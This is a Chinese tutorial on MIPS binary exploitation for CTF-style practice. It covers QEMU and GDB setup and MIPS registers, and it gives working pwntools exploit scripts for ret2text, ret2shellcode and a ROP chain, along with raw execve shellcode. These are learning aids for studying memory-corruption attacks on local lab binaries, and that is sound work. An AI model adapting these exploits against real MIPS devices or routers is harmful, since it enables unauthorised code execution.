MIPS PWN学习
字数 1481 2025-08-06 21:48:45
MIPS PWN 学习指南
环境搭建
安装交叉编译工具链
sudo apt-get install gcc-mips-linux-gnu
sudo apt-get install gcc-mipsel-linux-gnu
sudo apt-get install gcc-mips64-linux-gnuabi64
sudo apt-get install gcc-mips64el-linux-gnuabi64
QEMU 使用
运行 MIPS 程序
-
动态链接程序:
qemu-mipsel -L /usr/mipsel-linux-gnu/ pwn -
静态链接程序:
直接运行即可
QEMU 进程管理
pgrep qemu # 查找正在运行的 QEMU 进程 PID
kill -9 [port] # 强制杀死进程
ps aux | grep qemu
sudo kill -9 [PID] # 示例:sudo kill -9 37266
调试方法
GDB 调试
-
启动 QEMU 调试服务:
qemu-mipsel -L /usr/mipsel-linux-gnu/ -g 1234 pwn -
使用 GDB 连接:
gdb-multiarch pwn -q (gdb) set architecture mips (gdb) target remote localhost:1234
MIPS 架构特点
- 通常不支持 NX(No-Execute)保护,允许向栈区写入 shellcode
- 通过控制
$ra寄存器(返回地址)跳转到 shellcode 执行
MIPS 寄存器简介
| 寄存器 | 名称 | 用途描述 |
|---|---|---|
| $0 | $zero | 常量0 |
| $1 | $at | 保留给汇编器 |
| \(2-\)3 | \(v0-\)v1 | 函数调用返回值 |
| \(4-\)7 | \(a0-\)a3 | 函数调用参数 |
| \(8-\)15 | \(t0-\)t7 | 临时寄存器 |
| \(16-\)23 | \(s0-\)s7 | 保存的寄存器(需SAVE/RESTORE) |
| \(24-\)25 | \(t8-\)t9 | 临时寄存器 |
| $28 | $gp | 全局指针 |
| $29 | $sp | 堆栈指针 |
| $30 | \(fp/\)s8 | 栈帧指针 |
| $31 | $ra | 返回地址 |
MIPSROP 工具
安装
参考链接:https://bbs.kanxue.com/thread-266102.htm
常用功能
mipsrop.find()
mipsrop.stackfinders()
漏洞利用技术
1. ret2text
利用思路:
- 识别存在漏洞的函数
- 确定返回地址偏移
- 覆盖
$ra寄存器跳转到后门函数
示例调试:
- 运行 read 函数后,
$fp指向类似于 prev rbp+8 的位置 jr指令用于无条件跳转,通常与jal配合使用- 查看
$ra寄存器确定返回地址位置
示例 EXP:
from pwn import *
context.arch = 'mips'
context.os = 'linux'
context.log_level = 'debug'
p = process(["qemu-mipsel", "-L", "/usr/mipsel-linux-gnu/", "./pwn"])
ru('what is mips?\n')
backdoor = 0x0400844
pl = "a" * 0x44 + p32(backdoor)
sl(pl)
itr()
2. ret2shellcode
利用思路:
- 泄露栈地址
- 通过溢出修改关键变量(如长度限制)
- 写入 shellcode 并覆盖返回地址
示例 EXP:
from pwn import *
context.arch = 'mips'
context.os = 'linux'
context.log_level = 'debug'
p = process(["qemu-mipsel", "-L", "./", "./Mplogin"])
# 泄露栈地址
ru('Username :')
pl = 'admin'.ljust(24, 'a')
s(pl)
ru('adminaaaaaaaaaaaaaaaaaaa')
stack = u32(r(4))
leak('stack', stack)
# 修改长度限制
pl = "access".ljust(0x14, "b") + p32(0x100)
sa("Pre_Password : ", pl)
# 写入shellcode
pl = "0123456789".ljust(0x28, "c") + p32(stack) + asm(shellcraft.sh())
ru("Password : ")
s(pl)
itr()
3. MIPSROP 利用
利用思路:
- 识别可利用的 ROP gadget
- 控制
$fp寄存器 - 链式调用 gadget 执行 shellcode
关键 gadget:
0x0043965C | addiu $a2,$sp,0x68+var_10 | jalr $fp
0x0040ABB8 | move $t9,$a2 | jalr $a2
Shellcode 示例:
shellcode = '''
lui $t6,0x6e69
ori $t6,$t6,0x622f
sw $t6,28($sp)
lui $t7,0x6873
ori $t7,$t7,0x2f2f
sw $t7,32($sp)
sw $zero,36($sp)
la $a0,28($sp)
addiu $a1,$zero,0
addiu $a2,$zero,0
addiu $v0,$zero,4011
syscall 0x40404
'''
示例 EXP:
from pwn import *
context.arch = 'mips'
context.os = 'linux'
context.log_level = 'debug'
p = process(["qemu-mipsel", "-L", "./", "./pwn"])
# 绕过初始检查
p.sendlineafter('your passphrase: ', '三元一串十元三串')
# 构造ROP链
shellcode = asm(shellcode)
pl = 'a' * 0x40 + p32(0x0040ABB8) + p32(0x0043965C)
pl = pl.ljust(0xa0, 'a') + shellcode
sa('Congratulation!\n', pl)
itr()
调试技巧
-
栈布局分析:
- 返回地址通常位于
$fp的低一位 - 不确定时可查看
$ra寄存器确认
- 返回地址通常位于
-
偏移计算:
- 通过调试确定关键变量的偏移
- 示例:
a2距离 buf 的偏移为 0xa0
-
寄存器观察:
- 重点关注
$ra、$fp、$sp等关键寄存器 - 使用 GDB 的
info registers命令查看寄存器值
- 重点关注
注意事项
-
文件系统影响:
- 注意
.DS_Store等系统文件可能影响栈布局 - 建议保持原始文件结构进行测试
- 注意
-
字节序问题:
- MIPS 有小端(mipsel)和大端(mips)两种架构
- 确保使用正确的工具链和 QEMU 版本
-
调试符号:
- 尽量使用带调试符号的二进制文件进行学习
- 可通过
file命令检查文件类型和架构
通过以上方法和技巧,可以系统地学习 MIPS 架构下的漏洞利用技术。实际应用中需要根据具体目标调整利用策略,并充分利用调试工具验证每一步的假设。